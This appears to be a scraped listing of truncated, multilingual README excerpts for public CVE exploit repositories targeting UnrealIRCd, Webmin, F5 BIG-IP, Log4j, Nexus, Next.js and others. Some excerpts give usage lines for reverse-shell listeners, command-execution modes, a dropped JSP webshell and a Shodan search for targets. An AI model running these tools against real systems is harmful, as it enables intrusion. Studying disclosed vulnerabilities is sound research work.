OffensivePascal-CVE-2010-2075

CVE-2010-2075 CVE-2010-2075의 FreePascal 구현 취약점 UnrealIRCd 3.2.8.1 수신 대기 중인 서비스에 "AB; command"를 전송하여 RCE를 수행합니다. 전송하는 모든 명령은 UnrealIRCD가 실행되는 사용자와 동일한 사용자 권한으로 실행됩니다. 이 구현은 리스너로 리버스 셸을 실행합니다. 1단계 리스너를 시작하세요예: netcat -lvp 4444 2단계 ./exploit 익스플로잇을 실행하세요. 여기서 호스트 IP와 포트는 리스너가 실행 중인 위치입니다. 요구 사항...

CVE-2024-2054

CVE-2024-2054 Artica-Proxy 管理 Web 应用程序不安全反序列化（RCE） 针对 ARTICA PROXY 管理 Web 应用程序 CVE-2024-2054 的漏洞利用概念验证（PoC） 博客文章 更多详情请参见：https://blog.sonicwall.com/en-us/2024/03/unpatched-php-deserialization-vulnerability-in-artica-proxy/ 使用方法 root@kitploit: $ python3 CVE-2024-2054.py Enter url:...

Solr_CVE-2019-17558

SolrCVE-2019-17558 사용법: python3 SolrCVE-2019-17558.py url whoami...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 원격 코드 실행 취약점 root@kitploit: go run apisix-exploit.go -t -c 참고: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

spring-rce-poc

spring-rce-poc CVE-2022-22968 테스트 CVE-2022-22968에 취약한 간단한 앱 Dockerfile은 취약한 버전의 Tomcat 9.0.59에서 빌드하는 데 사용할 수 있습니다. exploit.sh는 localhost의 8080 포트에서 이 CVE를 악용하려고 시도하는 셸 스크립트입니다. exploit.sh를 사용한 공격이 성공하면 대상 앱의 http://localhost:8080/shell.jsp 컨텍스트에서 접근할 수 있어야 합니다. 기본 웹셸이 포함된 간단한 JSP 웹사이트...

CVE-2019-15107

CVE-2019-15107 webmin 또는 minisever RCE 스크립트 사용법: v1.890에서 테스트되었으며, 이 백도어가 설치된 다른 webmin 버전에서도 작동해야 합니다. root@kitploit: python3 webminrce.py -t http://10.11.1.88:10000 -l 172.16.1.3 -p 8888...

CVE-2025-59287---WSUS-SCCM-RCE

CVE-2025-59287 - WSUS / SCCM RCE 원본 익스플로잇 기반: https://gist.github.com/hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b 이제 ysoserial.exe를 지정하고 원하는 모든 것을 실행할 수 있습니다: https://hawktrace.com/blog/cve-2025-59287/ https://hawktrace.com/blog/cve-2025-59287-unauth/...

CVE-2022-21907

CVE-2022-21907 설명 root@kitploit: CVE-2022-21907용 POC: HTTP 프로토콜 스택 원격 코드 실행 취약성. 작성자: Malwareman, 2022-09-17. 상세 정보 root@kitploit: HTTP 프로토콜 스택 원격 코드 실행 취약성. https://github.com/antx-code/CVE-2021-31166CVE-2021-31166와 유사합니다. 이 문제는 작년에 https://github.com/antx-code/CVE-2021-31166CVE-2021-31166에서 보고된...

CVE-2025-55182-React2Shell-RCE-Shell

‼️ CVE-2025-55182 Pwn React2Shell RCE Exploit - インタラクティブシェルプロンプトと大量エクスプロイト対応 このリポジトリは、CVE-2025-55182 の実用的な概念実証を提供します。この脆弱性は、一部の Next.js デプロイメントに影響を与える RCE です。このツールは、エクスプロイト時にインタラクティブシェルプロンプトを開き、セキュリティ研究者が悪用可能性をテストおよび検証できるようにします。責任を持って、許可されたターゲットのみに使用してください。 🕸️ 使用方法: root@kitploit: Getting Started...

CVE-2019-16759-Vbulletin-rce-exploit

В этом репозитории нет README...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Этот скрипт нацелен на уязвимость EL-инъекции в Nexus Repository Manager 3 CVE-2018-16621 для однокликового выполнения эксплойта с получением обратной оболочки reverse shell Пример запуска: Запустите скрипт на атакующей машине, следуя подсказкам, введите IP и порт цели, а также IP и порт...

CVE-2021-22893

CVE-2021-22893 Pulse Connect Secure RCE уязвимость CVE-2021-22893 Shodan : https://www.shodan.io/search?query=http.component%3A%22pulse+secure%22...

CVE-2025-32023

CVE-2025-32023 Удаленное выполнение кода в Redis при операциях HyperLogLog Сводка об уязвимости CVE-2025-32023 — это уязвимость удаленного выполнения кода RCE в базе данных Redis, затрагивающая обработку операций со структурой данных HyperLogLog. Эта ошибка позволяет аутентифицированному...

Log4J_Exploitation-Vulnerabiliy__CVE-2021-44228

Log4JExploitation-VulnerabiliyCVE-2021-44228. введение Обнаружена уязвимость удалённого выполнения кода, связанная с библиотекой ведения журналов Java Log4j. CVE-2021-44228 Эта уязвимость вызвала переполох в мировом киберсообществе: со времён Wannacry мы не видели такого воздействия. причина:...

CVE-2022-1388-EXP

CVE-2022-1388-EXP This is CVE-2022-1388-EXP Author:Caps@BUGFOR Github:https://github.com/bytecaps Remaker:LinJacck Github:https://github.com/LinJacck Демонстрация функций Режим проверки: python CVE20221388.py -v -u targeturl Режим атаки: python CVE20221388.py -a -u targeturl -c command Пакетное...

CVE-2022-25765

CVE-2022-25765 PoC Blind RCE для CVE-2022-25765 протестировано на HTB — машина Precious...

CVE-2023-46604_ActiveMQ_RCE_Recurrence

Зайдите в activemq/bin, выберите x64 или x32 и запустите activemq.bin с правами администратора. Откройте admin на порту 8161, учётные данные: admin/admin. Если запустить не удаётся, проверьте, не занят ли порт; отредактируйте activemq.xml в папке conf. На моей машине порт MQTT был занят, поэтому...

CVE-2020-15148-bypasses

CVE-2020-15148-bypasses Несколько обходов CVE-2020-15148 десериализация Yii2 poc1 Этот эксплойт работает на версии 2.0.37, в 2.0.38 его исправили, то есть ему присвоен CVE-2020-15148. Следующие три — обходы. root@kitploit: checkAccess = 'system'; $this-id = 'ls'; namespace Faker use...

CVE-2021-21300

CVE-2021-21300 просто склонируй меня затем твоя машина выведет "PWNED" ссылка:https://www.openwall.com/lists/oss-security/2021/03/09/3...

CVE-2022-1388_refresh

CVE-2022-1388 - refresh PoC для эксплуатации CVE-2022-1388 на BigIP F5 Использование эксплойта root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c...